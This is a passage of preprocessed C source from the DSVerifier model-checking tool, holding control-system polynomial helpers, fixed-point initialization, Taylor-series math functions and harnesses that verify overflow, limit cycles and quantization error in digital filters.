poly_mult(c_den, Nc_den, model_den, Nmodel_den, ans_num, Nans_num);
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nans_num_p);
poly_sum(ans_num, Nans_num, num_mult, Nans_num_p, ans_den, Nans_den);
}
void ft_closedloop_feedback(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_den + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1;
int Nnum_mult = Nc_num + Nmodel_num - 1;
double den_mult [Nans_den];
double num_mult [Nnum_mult];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nnum_mult);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den);
poly_sum(num_mult, Nnum_mult, den_mult, Nans_den, ans_den, Nans_den);
poly_mult(c_den, Nc_den, model_num, Nmodel_num, ans_num, Nans_num);
}
int check_stability_closedloop(double a[], int n, double plant_num[], int p_num_size, double plant_den[], int p_den_size){
int columns = n;
double m[2 * n - 1][n];
int i,j;
int first_is_positive = 0;
double * p_num = plant_num;
double * p_den = plant_den;
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
__DSVERIFIER_assert(sum > 0);
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
__DSVERIFIER_assert(sum > 0);
__DSVERIFIER_assert(internal_abs(a[n-1]) < a[0]);
for (i=0; i < 2 * n - 1; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
__DSVERIFIER_assert(m[i-2][0] > 0);
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
__DSVERIFIER_assert((m[0][0] >= 0) && (m[i][0] >= 0));
}
}
}
return 1;
}
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
extern digital_system ds;
extern digital_system plant;
extern digital_system control;
extern implementation impl;
extern filter_parameters filter;
extern hardware hw;
void initialization(){
if (impl.frac_bits >= 32){
printf("impl.frac_bits must be less than word width!\n");
}
if (impl.int_bits >= 32 - impl.frac_bits){
printf("impl.int_bits must be less than word width subtracted by precision!\n");
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
((void) sizeof ((
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ; else __assert_fail (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
"0"
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h", 33, __extension__ __PRETTY_FUNCTION__); }))
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
;
}
if(impl.frac_bits >= 31){
_fxp_one = 0x7fffffff;
}else{
_fxp_one = (0x00000001 << impl.frac_bits);
}
_fxp_half = (0x00000001 << (impl.frac_bits - 1));
_fxp_minus_one = -(0x00000001 << impl.frac_bits);
_fxp_min = -(0x00000001 << (impl.frac_bits + impl.int_bits - 1));
_fxp_max = (0x00000001 << (impl.frac_bits + impl.int_bits - 1)) - 1;
_fxp_fmask = ((((int32_t) 1) << impl.frac_bits) - 1);
_fxp_imask = ((0x80000000) >> (32 - impl.frac_bits - 1));
_dbl_min = _fxp_min;
_dbl_min /= (1 << impl.frac_bits);
_dbl_max = _fxp_max;
_dbl_max /= (1 << impl.frac_bits);
if ((impl.scale == 0) || (impl.scale == 1)){
impl.scale = 1;
return;
}
if (impl.min != 0){
impl.min = impl.min / impl.scale;
}
if (impl.max != 0){
impl.max = impl.max / impl.scale;
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
}
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h"
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
double double_state_space_representation(void){
double result1[4][4];
double result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
return _controller.outputs[0][0];
}
double fxp_state_space_representation(void){
fxp_t result1[4][4];
fxp_t result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t D_fpx[4][4];
fxp_t states_fpx[4][4];
fxp_t inputs_fpx[4][4];
fxp_t outputs_fpx[4][4];
for(i=0; i<4;i++){
for(j=0; j<4;j++){
A_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
B_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
C_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
D_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
states_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
inputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
D_fpx[i][j]= fxp_double_to_fxp(_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
states_fpx[i][j]= fxp_double_to_fxp(_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
inputs_fpx[i][j]= fxp_double_to_fxp(_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]= fxp_double_to_fxp(_controller.outputs[i][j]);
}
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,C_fpx,states_fpx,result1);
fxp_matrix_multiplication(nOutputs,nInputs,nInputs,1,D_fpx,inputs_fpx,result2);
fxp_add_matrix(nOutputs,
1,
result1,
result2,
outputs_fpx);
fxp_matrix_multiplication(nStates,nStates,nStates,1,A_fpx,states_fpx,result1);
fxp_matrix_multiplication(nStates,nInputs,nInputs,1,B_fpx,inputs_fpx,result2);
fxp_add_matrix(nStates,
1,
result1,
result2,
states_fpx);
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= fxp_to_double(states_fpx[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j]= fxp_to_double(outputs_fpx[i][j]);
}
}
return _controller.outputs[0][0];
}
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h"
double sinTyl(double x, int precision){
double sine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
sine = aux;
if (precision >= 1)
{
aux = x;
sine += aux;
if (precision >= 2)
{
aux = aux*xsquared;
sine -= aux/6;
if (precision >= 3)
{
aux = aux*xsquared;
sine +=aux/120;
if(precision >=4)
{
aux = aux*xsquared;
sine -=aux/5040;
if(precision >= 5)
{
aux = aux*xsquared;
sine +=aux/362880;
if(precision >= 6)
{
aux = aux*xsquared;
sine -=aux/39916800;
if (precision >= 7)
printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return sine;
}
double cosTyl(double x, int precision){
double cosine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function cosTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
cosine = aux;
if (precision >= 1)
{
aux = 1;
cosine = 1;
if (precision >= 2)
{
aux = xsquared;
cosine -= aux/2;
if (precision >= 3)
{
aux = aux*xsquared;
cosine += aux/24;
if(precision >=4)
{
aux = aux*xsquared;
cosine -=aux/720;
if(precision >= 5)
{
aux = aux*xsquared;
cosine +=aux/40320;
if(precision >= 6)
{
aux = aux*xsquared;
cosine -=aux/3628800;
if (precision >= 7) printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return cosine;
}
double atanTyl(double x, int precision){
double atangent;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
atangent = aux;
if (precision >= 1)
{
aux = x;
atangent = aux;
if (precision >= 2)
{
aux = xsquared;
atangent -= aux/3;
if (precision >= 3)
{
aux = aux*xsquared;
atangent += aux/5;
if(precision >=4)
{
aux = aux*xsquared;
atangent -=aux/7;
if (precision >= 7)
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision representation exceeded. Assuming maximum precision of 4\n");
}
}
}
}
}
return atangent;
}
float sqrt1(const float x)
{
const float xhalf = 0.5f*x;
union
{
float x;
int i;
} u;
u.x = x;
u.i = 0x5f3759df - (u.i >> 1);
return x*u.x*(1.5f - xhalf*u.x*u.x);
}
float sqrt2(const float x)
{
union
{
int i;
float x;
} u;
u.x = x;
u.i = (1<<29) + (u.i >> 1) - (1<<22);
return u.x;
}
float fabsolut(float x)
{
if (x < 0)
x = -x;
return x;
}
static float sqrt3(float val)
{
float x = val/10;
float dx;
double diff;
double min_tol = 0.00001;
int i, flag;
flag = 0;
if (val == 0 ) x = 0;
else
{
for (i=1;i<20;i++)
{
if (!flag)
{
dx = (val - (x*x)) / (2.0 * x);
x = x + dx;
diff = val - (x*x);
if (fabsolut(diff) <= min_tol) flag = 1;
}
else x =x;
}
}
return (x);
}
# 31 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_overflow(void) {
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 73 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 129 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 174 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
}
overflow_mode = 1;
fxp_verify_overflow_array(y, X_SIZE_VALUE);
return 0;
}
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 1
# 15 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
int verify_limit_cycle_state_space(void){
double stateMatrix[4][4];
double outputMatrix[4][4];
double arrayLimitCycle[4];
double result1[4][4];
double result2[4][4];
int i, j, k;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
stateMatrix[i][j]=0;
outputMatrix[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
k = 0;
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
int l;
for(l = 0; l < nStates; l++){
stateMatrix[l][k] = _controller.states[l][0];
}
for(l = 0; l < nOutputs; l++){
stateMatrix[l][k] = _controller.outputs[l][0];
}
k++;
}
printf("#matrix STATES -------------------------------");
print_matrix(stateMatrix,nStates,0);
printf("#matrix OUTPUTS -------------------------------");
print_matrix(outputMatrix,nOutputs,0);
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 93, __extension__ __PRETTY_FUNCTION__); }))
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
for(i=0; i<nStates;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = stateMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
for(i=0; i<nOutputs;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = outputMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 110, __extension__ __PRETTY_FUNCTION__); }))
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
}
int verify_limit_cycle(void){
overflow_mode = 3;
int i;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
__DSVERIFIER_assert(X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na);
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 168 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t xaux[ds.b_size];
int nondet_constant_input = nondet_int();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = nondet_constant_input;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t y0[ds.a_size];
fxp_t waux[Nw];
fxp_t w0[Nw];
# 206 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 234 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 278 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 34 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
extern digital_system ds;
extern implementation impl;
int verify_error(void){
overflow_mode = 2;
double a_cascade[100];
int a_cascade_size;
double b_cascade[100];
int b_cascade_size;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 69 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
double yf[X_SIZE_VALUE];
double xf[X_SIZE_VALUE];
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
double yfaux[ds.a_size];
double xfaux[ds.b_size];
double wfaux[Nw];
int i;
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
yfaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
xfaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
wfaux[i] = 0;
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
yf[i] = 0.0f;
xf[i] = fxp_to_double(x[i]);
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 156 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
yf[i] = double_transposed_direct_form_2(wfaux, xf[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 169 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
double absolute_error = yf[i] - fxp_to_double(y[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 35 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 1
# 13 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
int verify_zero_input_limit_cycle(void){
overflow_mode = 3;
int i,j;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
((void) sizeof ((
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ; else __assert_fail (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
"X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na"
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h", 23, __extension__ __PRETTY_FUNCTION__); }))
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 71 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = 0;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
fxp_t y0[ds.a_size];
fxp_t w0[Nw];
# 104 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
for(i=0; i<X_SIZE_VALUE; ++i){
# 141 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 188 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 1
